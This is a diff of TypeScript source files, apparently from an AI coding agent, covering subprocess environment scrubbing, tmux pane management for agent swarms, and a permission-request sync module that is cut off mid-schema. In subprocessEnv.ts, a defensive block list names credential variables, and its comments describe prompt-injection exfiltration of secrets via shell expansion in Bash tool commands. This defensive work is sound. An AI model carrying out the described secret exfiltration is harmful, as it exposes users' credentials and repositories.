Y7SUFDQTtJQUNBO0lBQ0E7SUFDQSxNQUFNYSxNQUFNLEdBQUcsSUFBSWhDLFdBQVcsQ0FBQyxDQUFDO0lBQ2hDLElBQUk2QixPQUFPLEtBQUtJLFNBQVMsRUFBRTtNQUN6QjtNQUFDLENBQUNELE1BQU0sSUFBSSxPQUFPLElBQUk7UUFBRUgsT0FBTyxFQUFFLE1BQU07TUFBQyxDQUFDLEVBQUVBLE9BQU8sR0FBR0EsT0FBTztJQUMvRDtJQUNBRyxNQUFNLENBQUNFLEVBQUUsQ0FBQyxNQUFNLEVBQUVDLEtBQUssSUFBSTtNQUN6QmhCLE1BQU0sSUFBSWdCLEtBQUssQ0FBQ0MsUUFBUSxDQUFDLENBQUM7SUFDNUIsQ0FBQyxDQUFDOztJQUVGO0lBQ0E7SUFDQSxNQUFNQyxRQUFRLEdBQUcsTUFBTW5DLE1BQU0sQ0FDM0IsQ0FBQyxpQkFBaUIsQ0FBQyxDQUFDeUIsSUFBSSxDQUFDLEVBQUUsaUJBQWlCLENBQUMsRUFDN0M7TUFDRVcsTUFBTSxFQUFFTixNQUFNLElBQUksT0FBTyxJQUFJTyxNQUFNLENBQUNDLFdBQVc7TUFDL0NDLFlBQVksRUFBRTtJQUNoQixDQUNGLENBQUM7O0lBRUQ7SUFDQSxNQUFNSixRQUFRLENBQUNLLGFBQWEsQ0FBQyxDQUFDOztJQUU5QjtJQUNBO0lBQ0EsTUFBTVgsT0FBTyxDQUFDYixpQkFBaUIsQ0FBQ0MsTUFBTSxDQUFDLENBQUM7RUFDMUMsQ0FBQyxDQUFDO0FBQ0o7O0FBRUE7QUFDQTtBQUNBO0FBQ0EsT0FBTyxlQUFld0IsY0FBY0EsQ0FDbENoQixJQUFJLEVBQUU3QixLQUFLLENBQUM4QixTQUFTLEVBQ3JCQyxPQUFnQixDQUFSLEVBQUUsTUFBTSxDQUNqQixFQUFFQyxPQUFPLENBQUMsTUFBTSxDQUFDLENBQUM7RUFDakIsTUFBTVgsTUFBTSxHQUFHLE1BQU1PLGtCQUFrQixDQUFDQyxJQUFJLEVBQUVFLE9BQU8sQ0FBQztFQUN0RCxPQUFPNUIsU0FBUyxDQUFDa0IsTUFBTSxDQUFDO0FBQzFCIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/utils/subprocessEnv.ts b/_all-in-one-upload/cc-haha/src/utils/subprocessEnv.ts
new file mode 100644
index 0000000..4eb62c9
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/subprocessEnv.ts
@@ -0,0 +1,99 @@
+import { isEnvTruthy } from './envUtils.js'
+
+/**
+ * Env vars to strip from subprocess environments when running inside GitHub
+ * Actions. This prevents prompt-injection attacks from exfiltrating secrets
+ * via shell expansion (e.g., ${ANTHROPIC_API_KEY}) in Bash tool commands.
+ *
+ * The parent claude process keeps these vars (needed for API calls, lazy
+ * credential reads). Only child processes (bash, shell snapshot, MCP stdio, LSP, hooks) are scrubbed.
+ *
+ * GITHUB_TOKEN / GH_TOKEN are intentionally NOT scrubbed — wrapper scripts
+ * (gh.sh) need them to call the GitHub API. That token is job-scoped and
+ * expires when the workflow ends.
+ */
+const GHA_SUBPROCESS_SCRUB = [
+  // Anthropic auth — claude re-reads these per-request, subprocesses don't need them
+  'ANTHROPIC_API_KEY',
+  'CLAUDE_CODE_OAUTH_TOKEN',
+  'ANTHROPIC_AUTH_TOKEN',
+  'ANTHROPIC_FOUNDRY_API_KEY',
+  'ANTHROPIC_CUSTOM_HEADERS',
+
+  // OTLP exporter headers — documented to carry Authorization=Bearer tokens
+  // for monitoring backends; read in-process by OTEL SDK, subprocesses never need them
+  'OTEL_EXPORTER_OTLP_HEADERS',
+  'OTEL_EXPORTER_OTLP_LOGS_HEADERS',
+  'OTEL_EXPORTER_OTLP_METRICS_HEADERS',
+  'OTEL_EXPORTER_OTLP_TRACES_HEADERS',
+
+  // Cloud provider creds — same pattern (lazy SDK reads)
+  'AWS_SECRET_ACCESS_KEY',
+  'AWS_SESSION_TOKEN',
+  'AWS_BEARER_TOKEN_BEDROCK',
+  'GOOGLE_APPLICATION_CREDENTIALS',
+  'AZURE_CLIENT_SECRET',
+  'AZURE_CLIENT_CERTIFICATE_PATH',
+
+  // GitHub Actions OIDC — consumed by the action's JS before claude spawns;
+  // leaking these allows minting an App installation token → repo takeover
+  'ACTIONS_ID_TOKEN_REQUEST_TOKEN',
+  'ACTIONS_ID_TOKEN_REQUEST_URL',
+
+  // GitHub Actions artifact/cache API — cache poisoning → supply-chain pivot
+  'ACTIONS_RUNTIME_TOKEN',
+  'ACTIONS_RUNTIME_URL',
+
+  // claude-code-action-specific duplicates — action JS consumes these during
+  // prepare, before spawning claude. ALL_INPUTS contains anthropic_api_key as JSON.
+  'ALL_INPUTS',
+  'OVERRIDE_GITHUB_TOKEN',
+  'DEFAULT_WORKFLOW_TOKEN',
+  'SSH_SIGNING_KEY',
+] as const
+
+/**
+ * Returns a copy of process.env with sensitive secrets stripped, for use when
+ * spawning subprocesses (Bash tool, shell snapshot, MCP stdio servers, LSP
+ * servers, shell hooks).
+ *
+ * Gated on CLAUDE_CODE_SUBPROCESS_ENV_SCRUB. claude-code-action sets this
+ * automatically when `allowed_non_write_users` is configured — the flag that
+ * exposes a workflow to untrusted content (prompt injection surface).
+ */
+// Registered by init.ts after the upstreamproxy module is dynamically imported
+// in CCR sessions. Stays undefined in non-CCR startups so we never pull in the
+// upstreamproxy module graph (upstreamproxy.ts + relay.ts) via a static import.
+let _getUpstreamProxyEnv: (() => Record<string, string>) | undefined
+
+/**
+ * Called from init.ts to wire up the proxy env function after the upstreamproxy
+ * module has been lazily loaded. Must be called before any subprocess is spawned.
+ */
+export function registerUpstreamProxyEnvFn(
+  fn: () => Record<string, string>,
+): void {
+  _getUpstreamProxyEnv = fn
+}
+
+export function subprocessEnv(): NodeJS.ProcessEnv {
+  // CCR upstreamproxy: inject HTTPS_PROXY + CA bundle vars so curl/gh/python
+  // in agent subprocesses route through the local relay. Returns {} when the
+  // proxy is disabled or not registered (non-CCR), so this is a no-op outside
+  // CCR containers.
+  const proxyEnv = _getUpstreamProxyEnv?.() ?? {}
+
+  if (!isEnvTruthy(process.env.CLAUDE_CODE_SUBPROCESS_ENV_SCRUB)) {
+    return Object.keys(proxyEnv).length > 0
+      ? { ...process.env, ...proxyEnv }
+      : process.env
+  }
+  const env = { ...process.env, ...proxyEnv }
+  for (const k of GHA_SUBPROCESS_SCRUB) {
+    delete env[k]
+    // GitHub Actions auto-creates INPUT_<NAME> for `with:` inputs, duplicating
+    // secrets like INPUT_ANTHROPIC_API_KEY. No-op for vars that aren't action inputs.
+    delete env[`INPUT_${k}`]
+  }
+  return env
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/swarm/backends/TmuxBackend.ts b/_all-in-one-upload/cc-haha/src/utils/swarm/backends/TmuxBackend.ts
new file mode 100644
index 0000000..402afd8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/swarm/backends/TmuxBackend.ts
@@ -0,0 +1,764 @@
+import type { AgentColorName } from '../../../tools/AgentTool/agentColorManager.js'
+import { logForDebugging } from '../../../utils/debug.js'
+import { execFileNoThrow } from '../../../utils/execFileNoThrow.js'
+import { logError } from '../../../utils/log.js'
+import { count } from '../../array.js'
+import { sleep } from '../../sleep.js'
+import {
+  getSwarmSocketName,
+  HIDDEN_SESSION_NAME,
+  SWARM_SESSION_NAME,
+  SWARM_VIEW_WINDOW_NAME,
+  TMUX_COMMAND,
+} from '../constants.js'
+import {
+  getLeaderPaneId,
+  isInsideTmux as isInsideTmuxFromDetection,
+  isTmuxAvailable,
+} from './detection.js'
+import { registerTmuxBackend } from './registry.js'
+import type { CreatePaneResult, PaneBackend, PaneId } from './types.js'
+
+// Track whether the first pane has been used for external swarm session
+let firstPaneUsedForExternal = false
+
+// Cached leader window target (session:window format) to avoid repeated queries
+let cachedLeaderWindowTarget: string | null = null
+
+// Lock mechanism to prevent race conditions when spawning teammates in parallel
+let paneCreationLock: Promise<void> = Promise.resolve()
+
+// Delay after pane creation to allow shell initialization (loading rc files, prompts, etc.)
+// 200ms is enough for most shell configurations including slow ones like starship/oh-my-zsh
+const PANE_SHELL_INIT_DELAY_MS = 200
+
+function waitForPaneShellReady(): Promise<void> {
+  return sleep(PANE_SHELL_INIT_DELAY_MS)
+}
+
+/**
+ * Acquires a lock for pane creation, ensuring sequential execution.
+ * Returns a release function that must be called when done.
+ */
+function acquirePaneCreationLock(): Promise<() => void> {
+  let release: () => void
+  const newLock = new Promise<void>(resolve => {
+    release = resolve
+  })
+
+  const previousLock = paneCreationLock
+  paneCreationLock = newLock
+
+  return previousLock.then(() => release!)
+}
+
+/**
+ * Gets the tmux color name for a given agent color.
+ * These are tmux's built-in color names that work with pane-border-style.
+ */
+function getTmuxColorName(color: AgentColorName): string {
+  const tmuxColors: Record<AgentColorName, string> = {
+    red: 'red',
+    blue: 'blue',
+    green: 'green',
+    yellow: 'yellow',
+    purple: 'magenta',
+    orange: 'colour208',
+    pink: 'colour205',
+    cyan: 'cyan',
+  }
+  return tmuxColors[color]
+}
+
+/**
+ * Runs a tmux command in the user's original tmux session (no socket override).
+ * Use this for operations that interact with the user's tmux panes (split-pane with leader).
+ */
+function runTmuxInUserSession(
+  args: string[],
+): Promise<{ stdout: string; stderr: string; code: number }> {
+  return execFileNoThrow(TMUX_COMMAND, args)
+}
+
+/**
+ * Runs a tmux command in the external swarm socket.
+ * Use this for operations in the standalone swarm session (when user is not in tmux).
+ */
+function runTmuxInSwarm(
+  args: string[],
+): Promise<{ stdout: string; stderr: string; code: number }> {
+  return execFileNoThrow(TMUX_COMMAND, ['-L', getSwarmSocketName(), ...args])
+}
+
+/**
+ * TmuxBackend implements PaneBackend using tmux for pane management.
+ *
+ * When running INSIDE tmux (leader is in tmux):
+ * - Splits the current window to add teammates alongside the leader
+ * - Leader stays on left (30%), teammates on right (70%)
+ *
+ * When running OUTSIDE tmux (leader is in regular terminal):
+ * - Creates a claude-swarm session with a swarm-view window
+ * - All teammates are equally distributed (no leader pane)
+ */
+export class TmuxBackend implements PaneBackend {
+  readonly type = 'tmux' as const
+  readonly displayName = 'tmux'
+  readonly supportsHideShow = true
+
+  /**
+   * Checks if tmux is installed and available.
+   * Delegates to detection.ts for consistent detection logic.
+   */
+  async isAvailable(): Promise<boolean> {
+    return isTmuxAvailable()
+  }
+
+  /**
+   * Checks if we're currently running inside a tmux session.
+   * Delegates to detection.ts for consistent detection logic.
+   */
+  async isRunningInside(): Promise<boolean> {
+    return isInsideTmuxFromDetection()
+  }
+
+  /**
+   * Creates a new teammate pane in the swarm view.
+   * Uses a lock to prevent race conditions when multiple teammates are spawned in parallel.
+   */
+  async createTeammatePaneInSwarmView(
+    name: string,
+    color: AgentColorName,
+  ): Promise<CreatePaneResult> {
+    const releaseLock = await acquirePaneCreationLock()
+
+    try {
+      const insideTmux = await this.isRunningInside()
+
+      if (insideTmux) {
+        return await this.createTeammatePaneWithLeader(name, color)
+      }
+
+      return await this.createTeammatePaneExternal(name, color)
+    } finally {
+      releaseLock()
+    }
+  }
+
+  /**
+   * Sends a command to a specific pane.
+   */
+  async sendCommandToPane(
+    paneId: PaneId,
+    command: string,
+    useExternalSession = false,
+  ): Promise<void> {
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+    const result = await runTmux(['send-keys', '-t', paneId, command, 'Enter'])
+
+    if (result.code !== 0) {
+      throw new Error(
+        `Failed to send command to pane ${paneId}: ${result.stderr}`,
+      )
+    }
+  }
+
+  /**
+   * Sets the border color for a specific pane.
+   */
+  async setPaneBorderColor(
+    paneId: PaneId,
+    color: AgentColorName,
+    useExternalSession = false,
+  ): Promise<void> {
+    const tmuxColor = getTmuxColorName(color)
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+
+    // Set pane-specific border style using pane options (requires tmux 3.2+)
+    await runTmux([
+      'select-pane',
+      '-t',
+      paneId,
+      '-P',
+      `bg=default,fg=${tmuxColor}`,
+    ])
+
+    await runTmux([
+      'set-option',
+      '-p',
+      '-t',
+      paneId,
+      'pane-border-style',
+      `fg=${tmuxColor}`,
+    ])
+
+    await runTmux([
+      'set-option',
+      '-p',
+      '-t',
+      paneId,
+      'pane-active-border-style',
+      `fg=${tmuxColor}`,
+    ])
+  }
+
+  /**
+   * Sets the title for a pane (shown in pane border if pane-border-status is set).
+   */
+  async setPaneTitle(
+    paneId: PaneId,
+    name: string,
+    color: AgentColorName,
+    useExternalSession = false,
+  ): Promise<void> {
+    const tmuxColor = getTmuxColorName(color)
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+
+    // Set the pane title
+    await runTmux(['select-pane', '-t', paneId, '-T', name])
+
+    // Enable pane border status with colored format
+    await runTmux([
+      'set-option',
+      '-p',
+      '-t',
+      paneId,
+      'pane-border-format',
+      `#[fg=${tmuxColor},bold] #{pane_title} #[default]`,
+    ])
+  }
+
+  /**
+   * Enables pane border status for a window (shows pane titles).
+   */
+  async enablePaneBorderStatus(
+    windowTarget?: string,
+    useExternalSession = false,
+  ): Promise<void> {
+    const target = windowTarget || (await this.getCurrentWindowTarget())
+    if (!target) {
+      return
+    }
+
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+    await runTmux([
+      'set-option',
+      '-w',
+      '-t',
+      target,
+      'pane-border-status',
+      'top',
+    ])
+  }
+
+  /**
+   * Rebalances panes to achieve the desired layout.
+   */
+  async rebalancePanes(
+    windowTarget: string,
+    hasLeader: boolean,
+  ): Promise<void> {
+    if (hasLeader) {
+      await this.rebalancePanesWithLeader(windowTarget)
+    } else {
+      await this.rebalancePanesTiled(windowTarget)
+    }
+  }
+
+  /**
+   * Kills/closes a specific pane.
+   */
+  async killPane(paneId: PaneId, useExternalSession = false): Promise<boolean> {
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+    const result = await runTmux(['kill-pane', '-t', paneId])
+    return result.code === 0
+  }
+
+  /**
+   * Hides a pane by moving it to a detached hidden session.
+   * Creates the hidden session if it doesn't exist, then uses break-pane to move the pane there.
+   */
+  async hidePane(paneId: PaneId, useExternalSession = false): Promise<boolean> {
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+
+    // Create hidden session if it doesn't exist (detached, not visible)
+    await runTmux(['new-session', '-d', '-s', HIDDEN_SESSION_NAME])
+
+    // Move the pane to the hidden session
+    const result = await runTmux([
+      'break-pane',
+      '-d',
+      '-s',
+      paneId,
+      '-t',
+      `${HIDDEN_SESSION_NAME}:`,
+    ])
+
+    if (result.code === 0) {
+      logForDebugging(`[TmuxBackend] Hidden pane ${paneId}`)
+    } else {
+      logForDebugging(
+        `[TmuxBackend] Failed to hide pane ${paneId}: ${result.stderr}`,
+      )
+    }
+
+    return result.code === 0
+  }
+
+  /**
+   * Shows a previously hidden pane by joining it back into the target window.
+   * Uses `tmux join-pane` to move the pane back, then reapplies main-vertical layout
+   * with leader at 30%.
+   */
+  async showPane(
+    paneId: PaneId,
+    targetWindowOrPane: string,
+    useExternalSession = false,
+  ): Promise<boolean> {
+    const runTmux = useExternalSession ? runTmuxInSwarm : runTmuxInUserSession
+
+    // join-pane -s: source pane to move
+    // -t: target window/pane to join into
+    // -h: join horizontally (side by side)
+    const result = await runTmux([
+      'join-pane',
+      '-h',
+      '-s',
+      paneId,
+      '-t',
+      targetWindowOrPane,
+    ])
+
+    if (result.code !== 0) {
+      logForDebugging(
+        `[TmuxBackend] Failed to show pane ${paneId}: ${result.stderr}`,
+      )
+      return false
+    }
+
+    logForDebugging(
+      `[TmuxBackend] Showed pane ${paneId} in ${targetWindowOrPane}`,
+    )
+
+    // Reapply main-vertical layout with leader at 30%
+    await runTmux(['select-layout', '-t', targetWindowOrPane, 'main-vertical'])
+
+    // Get the first pane (leader) and resize to 30%
+    const panesResult = await runTmux([
+      'list-panes',
+      '-t',
+      targetWindowOrPane,
+      '-F',
+      '#{pane_id}',
+    ])
+
+    const panes = panesResult.stdout.trim().split('\n').filter(Boolean)
+    if (panes[0]) {
+      await runTmux(['resize-pane', '-t', panes[0], '-x', '30%'])
+    }
+
+    return true
+  }
+
+  // Private helper methods
+
+  /**
+   * Gets the leader's pane ID.
+   * Uses the TMUX_PANE env var captured at module load to ensure we always
+   * get the leader's original pane, even if the user has switched panes.
+   */
+  private async getCurrentPaneId(): Promise<string | null> {
+    // Use the pane ID captured at startup (from TMUX_PANE env var)
+    const leaderPane = getLeaderPaneId()
+    if (leaderPane) {
+      return leaderPane
+    }
+
+    // Fallback to dynamic query (shouldn't happen if we're inside tmux)
+    const result = await execFileNoThrow(TMUX_COMMAND, [
+      'display-message',
+      '-p',
+      '#{pane_id}',
+    ])
+
+    if (result.code !== 0) {
+      logForDebugging(
+        `[TmuxBackend] Failed to get current pane ID (exit ${result.code}): ${result.stderr}`,
+      )
+      return null
+    }
+
+    return result.stdout.trim()
+  }
+
+  /**
+   * Gets the leader's window target (session:window format).
+   * Uses the leader's pane ID to query for its window, ensuring we get the
+   * correct window even if the user has switched to a different window.
+   * Caches the result since the leader's window won't change.
+   */
+  private async getCurrentWindowTarget(): Promise<string | null> {
+    // Return cached value if available
+    if (cachedLeaderWindowTarget) {
+      return cachedLeaderWindowTarget
+    }
+
+    // Build the command - use -t to target the leader's pane specifically
+    const leaderPane = getLeaderPaneId()
+    const args = ['display-message']
+    if (leaderPane) {
+      args.push('-t', leaderPane)
+    }
+    args.push('-p', '#{session_name}:#{window_index}')
+
+    const result = await execFileNoThrow(TMUX_COMMAND, args)
+
+    if (result.code !== 0) {
+      logForDebugging(
+        `[TmuxBackend] Failed to get current window target (exit ${result.code}): ${result.stderr}`,
+      )
+      return null
+    }
+
+    cachedLeaderWindowTarget = result.stdout.trim()
+    return cachedLeaderWindowTarget
+  }
+
+  /**
+   * Gets the number of panes in a window.
+   */
+  private async getCurrentWindowPaneCount(
+    windowTarget?: string,
+    useSwarmSocket = false,
+  ): Promise<number | null> {
+    const target = windowTarget || (await this.getCurrentWindowTarget())
+    if (!target) {
+      return null
+    }
+
+    const args = ['list-panes', '-t', target, '-F', '#{pane_id}']
+    const result = useSwarmSocket
+      ? await runTmuxInSwarm(args)
+      : await runTmuxInUserSession(args)
+
+    if (result.code !== 0) {
+      logError(
+        new Error(
+          `[TmuxBackend] Failed to get pane count for ${target} (exit ${result.code}): ${result.stderr}`,
+        ),
+      )
+      return null
+    }
+
+    return count(result.stdout.trim().split('\n'), Boolean)
+  }
+
+  /**
+   * Checks if a tmux session exists in the swarm socket.
+   */
+  private async hasSessionInSwarm(sessionName: string): Promise<boolean> {
+    const result = await runTmuxInSwarm(['has-session', '-t', sessionName])
+    return result.code === 0
+  }
+
+  /**
+   * Creates the swarm session with a single window for teammates when running outside tmux.
+   */
+  private async createExternalSwarmSession(): Promise<{
+    windowTarget: string
+    paneId: string
+  }> {
+    const sessionExists = await this.hasSessionInSwarm(SWARM_SESSION_NAME)
+
+    if (!sessionExists) {
+      const result = await runTmuxInSwarm([
+        'new-session',
+        '-d',
+        '-s',
+        SWARM_SESSION_NAME,
+        '-n',
+        SWARM_VIEW_WINDOW_NAME,
+        '-P',
+        '-F',
+        '#{pane_id}',
+      ])
+
+      if (result.code !== 0) {
+        throw new Error(
+          `Failed to create swarm session: ${result.stderr || 'Unknown error'}`,
+        )
+      }
+
+      const paneId = result.stdout.trim()
+      const windowTarget = `${SWARM_SESSION_NAME}:${SWARM_VIEW_WINDOW_NAME}`
+
+      logForDebugging(
+        `[TmuxBackend] Created external swarm session with window ${windowTarget}, pane ${paneId}`,
+      )
+
+      return { windowTarget, paneId }
+    }
+
+    // Session exists, check if swarm-view window exists
+    const listResult = await runTmuxInSwarm([
+      'list-windows',
+      '-t',
+      SWARM_SESSION_NAME,
+      '-F',
+      '#{window_name}',
+    ])
+
+    const windows = listResult.stdout.trim().split('\n').filter(Boolean)
+    const windowTarget = `${SWARM_SESSION_NAME}:${SWARM_VIEW_WINDOW_NAME}`
+
+    if (windows.includes(SWARM_VIEW_WINDOW_NAME)) {
+      const paneResult = await runTmuxInSwarm([
+        'list-panes',
+        '-t',
+        windowTarget,
+        '-F',
+        '#{pane_id}',
+      ])
+
+      const panes = paneResult.stdout.trim().split('\n').filter(Boolean)
+      return { windowTarget, paneId: panes[0] || '' }
+    }
+
+    // Create the swarm-view window
+    const createResult = await runTmuxInSwarm([
+      'new-window',
+      '-t',
+      SWARM_SESSION_NAME,
+      '-n',
+      SWARM_VIEW_WINDOW_NAME,
+      '-P',
+      '-F',
+      '#{pane_id}',
+    ])
+
+    if (createResult.code !== 0) {
+      throw new Error(
+        `Failed to create swarm-view window: ${createResult.stderr || 'Unknown error'}`,
+      )
+    }
+
+    return { windowTarget, paneId: createResult.stdout.trim() }
+  }
+
+  /**
+   * Creates a teammate pane when running inside tmux (with leader).
+   */
+  private async createTeammatePaneWithLeader(
+    teammateName: string,
+    teammateColor: AgentColorName,
+  ): Promise<CreatePaneResult> {
+    const currentPaneId = await this.getCurrentPaneId()
+    const windowTarget = await this.getCurrentWindowTarget()
+
+    if (!currentPaneId || !windowTarget) {
+      throw new Error('Could not determine current tmux pane/window')
+    }
+
+    const paneCount = await this.getCurrentWindowPaneCount(windowTarget)
+    if (paneCount === null) {
+      throw new Error('Could not determine pane count for current window')
+    }
+    const isFirstTeammate = paneCount === 1
+
+    let splitResult
+    if (isFirstTeammate) {
+      // First teammate: split horizontally from the leader pane
+      splitResult = await execFileNoThrow(TMUX_COMMAND, [
+        'split-window',
+        '-t',
+        currentPaneId,
+        '-h',
+        '-l',
+        '70%',
+        '-P',
+        '-F',
+        '#{pane_id}',
+      ])
+    } else {
+      // Additional teammates: split from an existing teammate pane
+      const listResult = await execFileNoThrow(TMUX_COMMAND, [
+        'list-panes',
+        '-t',
+        windowTarget,
+        '-F',
+        '#{pane_id}',
+      ])
+
+      const panes = listResult.stdout.trim().split('\n').filter(Boolean)
+      const teammatePanes = panes.slice(1)
+      const teammateCount = teammatePanes.length
+
+      const splitVertically = teammateCount % 2 === 1
+      const targetPaneIndex = Math.floor((teammateCount - 1) / 2)
+      const targetPane =
+        teammatePanes[targetPaneIndex] ||
+        teammatePanes[teammatePanes.length - 1]
+
+      splitResult = await execFileNoThrow(TMUX_COMMAND, [
+        'split-window',
+        '-t',
+        targetPane!,
+        splitVertically ? '-v' : '-h',
+        '-P',
+        '-F',
+        '#{pane_id}',
+      ])
+    }
+
+    if (splitResult.code !== 0) {
+      throw new Error(`Failed to create teammate pane: ${splitResult.stderr}`)
+    }
+
+    const paneId = splitResult.stdout.trim()
+    logForDebugging(
+      `[TmuxBackend] Created teammate pane for ${teammateName}: ${paneId}`,
+    )
+
+    await this.setPaneBorderColor(paneId, teammateColor)
+    await this.setPaneTitle(paneId, teammateName, teammateColor)
+    await this.rebalancePanesWithLeader(windowTarget)
+
+    // Wait for shell to initialize before returning, so commands can be sent immediately
+    await waitForPaneShellReady()
+
+    return { paneId, isFirstTeammate }
+  }
+
+  /**
+   * Creates a teammate pane when running outside tmux (no leader in tmux).
+   */
+  private async createTeammatePaneExternal(
+    teammateName: string,
+    teammateColor: AgentColorName,
+  ): Promise<CreatePaneResult> {
+    const { windowTarget, paneId: firstPaneId } =
+      await this.createExternalSwarmSession()
+
+    const paneCount = await this.getCurrentWindowPaneCount(windowTarget, true)
+    if (paneCount === null) {
+      throw new Error('Could not determine pane count for swarm window')
+    }
+    const isFirstTeammate = !firstPaneUsedForExternal && paneCount === 1
+
+    let paneId: string
+
+    if (isFirstTeammate) {
+      paneId = firstPaneId
+      firstPaneUsedForExternal = true
+      logForDebugging(
+        `[TmuxBackend] Using initial pane for first teammate ${teammateName}: ${paneId}`,
+      )
+
+      await this.enablePaneBorderStatus(windowTarget, true)
+    } else {
+      const listResult = await runTmuxInSwarm([
+        'list-panes',
+        '-t',
+        windowTarget,
+        '-F',
+        '#{pane_id}',
+      ])
+
+      const panes = listResult.stdout.trim().split('\n').filter(Boolean)
+      const teammateCount = panes.length
+
+      const splitVertically = teammateCount % 2 === 1
+      const targetPaneIndex = Math.floor((teammateCount - 1) / 2)
+      const targetPane = panes[targetPaneIndex] || panes[panes.length - 1]
+
+      const splitResult = await runTmuxInSwarm([
+        'split-window',
+        '-t',
+        targetPane!,
+        splitVertically ? '-v' : '-h',
+        '-P',
+        '-F',
+        '#{pane_id}',
+      ])
+
+      if (splitResult.code !== 0) {
+        throw new Error(`Failed to create teammate pane: ${splitResult.stderr}`)
+      }
+
+      paneId = splitResult.stdout.trim()
+      logForDebugging(
+        `[TmuxBackend] Created teammate pane for ${teammateName}: ${paneId}`,
+      )
+    }
+
+    await this.setPaneBorderColor(paneId, teammateColor, true)
+    await this.setPaneTitle(paneId, teammateName, teammateColor, true)
+    await this.rebalancePanesTiled(windowTarget)
+
+    // Wait for shell to initialize before returning, so commands can be sent immediately
+    await waitForPaneShellReady()
+
+    return { paneId, isFirstTeammate }
+  }
+
+  /**
+   * Rebalances panes in a window with a leader.
+   */
+  private async rebalancePanesWithLeader(windowTarget: string): Promise<void> {
+    const listResult = await runTmuxInUserSession([
+      'list-panes',
+      '-t',
+      windowTarget,
+      '-F',
+      '#{pane_id}',
+    ])
+
+    const panes = listResult.stdout.trim().split('\n').filter(Boolean)
+    if (panes.length <= 2) {
+      return
+    }
+
+    await runTmuxInUserSession([
+      'select-layout',
+      '-t',
+      windowTarget,
+      'main-vertical',
+    ])
+
+    const leaderPane = panes[0]
+    await runTmuxInUserSession(['resize-pane', '-t', leaderPane!, '-x', '30%'])
+
+    logForDebugging(
+      `[TmuxBackend] Rebalanced ${panes.length - 1} teammate panes with leader`,
+    )
+  }
+
+  /**
+   * Rebalances panes in a window without a leader (tiled layout).
+   */
+  private async rebalancePanesTiled(windowTarget: string): Promise<void> {
+    const listResult = await runTmuxInSwarm([
+      'list-panes',
+      '-t',
+      windowTarget,
+      '-F',
+      '#{pane_id}',
+    ])
+
+    const panes = listResult.stdout.trim().split('\n').filter(Boolean)
+    if (panes.length <= 1) {
+      return
+    }
+
+    await runTmuxInSwarm(['select-layout', '-t', windowTarget, 'tiled'])
+
+    logForDebugging(
+      `[TmuxBackend] Rebalanced ${panes.length} teammate panes with tiled layout`,
+    )
+  }
+}
+
+// Register the backend with the registry when this module is imported.
+// This side effect is intentional - the registry needs backends to self-register to avoid circular dependencies.
+// eslint-disable-next-line custom-rules/no-top-level-side-effects
+registerTmuxBackend(TmuxBackend)
diff --git a/_all-in-one-upload/cc-haha/src/utils/swarm/permissionSync.ts b/_all-in-one-upload/cc-haha/src/utils/swarm/permissionSync.ts
new file mode 100644
index 0000000..001e7a2
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/swarm/permissionSync.ts
@@ -0,0 +1,928 @@
+/**
+ * Synchronized Permission Prompts for Agent Swarms
+ *
+ * This module provides infrastructure for coordinating permission prompts across
+ * multiple agents in a swarm. When a worker agent needs permission for a tool use,
+ * it can forward the request to the team leader, who can then approve or deny it.
+ *
+ * The system uses the teammate mailbox for message passing:
+ * - Workers send permission requests to the leader's mailbox
+ * - Leaders send permission responses to the worker's mailbox
+ *
+ * Flow:
+ * 1. Worker agent encounters a permission prompt
+ * 2. Worker sends a permission_request message to the leader's mailbox
+ * 3. Leader polls for mailbox messages and detects permission requests
+ * 4. User approves/denies via the leader's UI
+ * 5. Leader sends a permission_response message to the worker's mailbox
+ * 6. Worker polls mailbox for responses and continues execution
+ */
+
+import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { z } from 'zod/v4'
+import { logForDebugging } from '../debug.js'
+import { getErrnoCode } from '../errors.js'
+import { lazySchema } from '../lazySchema.js'
+import * as lockfile from '../lockfile.js'
+import { logError } from '../log.js'
+import type { PermissionUpdate } from '../permissions/PermissionUpdateSchema.js'
+import { jsonParse, jsonStringify } from '../slowOperations.js'
+import {
+  getAgentId,
+  getAgentName,
+  getTeammateColor,
+  getTeamName,
+} from '../teammate.js'
+import {
+  createPermissionRequestMessage,
+  createPermissionResponseMessage,
+  createSandboxPermissionRequestMessage,
+  createSandboxPermissionResponseMessage,
+  writeToMailbox,
+} from '../teammateMailbox.js'
+import { getTeamDir, readTeamFileAsync } from './teamHelpers.js'
+
+/**
+ * Full request schema for a permission request from a worker to the leader
+ */
+export const SwarmPermissionRequestSchema = lazySchema(() =>
+  z.object({
+    /** Unique identifier for this request */
+    id: z.string(),
+    /** Worker's CLAUDE_CODE_AGENT_ID */
+    workerId: z.string(),
+    /** Worker's CLAUDE_CODE_AGENT_NAME */
+    workerName: z.string(),
+    /** Worker's CLAUDE_CODE_AGENT_COLOR */
+    workerColor: z.string().optional(),
+    /** Team name for routing */
+    teamName: z.string(),
+    /** Tool name requiring permission (e.g., "Bash", "Edit") */
+    toolName: z.string(),
+    /** Original toolUseID from worker's context */
+    toolUseId: z.string(),
+    /** Human-readable description of the tool use */
+    description: z.string(),
+    /** Serialized tool input */
+    input: z.record(z.string(), z.unknown()),
+    /** Suggested permission rules from the permission result */
+    permissionSuggestions: z.array(z.unknown()),
+    /** Status of the request */
+    status: z.enum(['pending', 'approved', 'rejected']),
+    /** Who resolved the request */
+    resolvedBy: z.enum(['worker', 'leader']).optional(),
+    /** Timestamp when resolved */
+    resolvedAt: z.number().optional(),
+    /** Rejection feedback message */
+    feedback: z.string().optional(),
+    /** Modified input if changed by resolver */
+    updatedInput: z.record(z.string(), z.unknown()).optional(),
+    /** "Always allow" rules applied during resolution */
+    permissionUpdates: z.array(z.unknown()).optional(),
+    /** Timestamp when request was created */
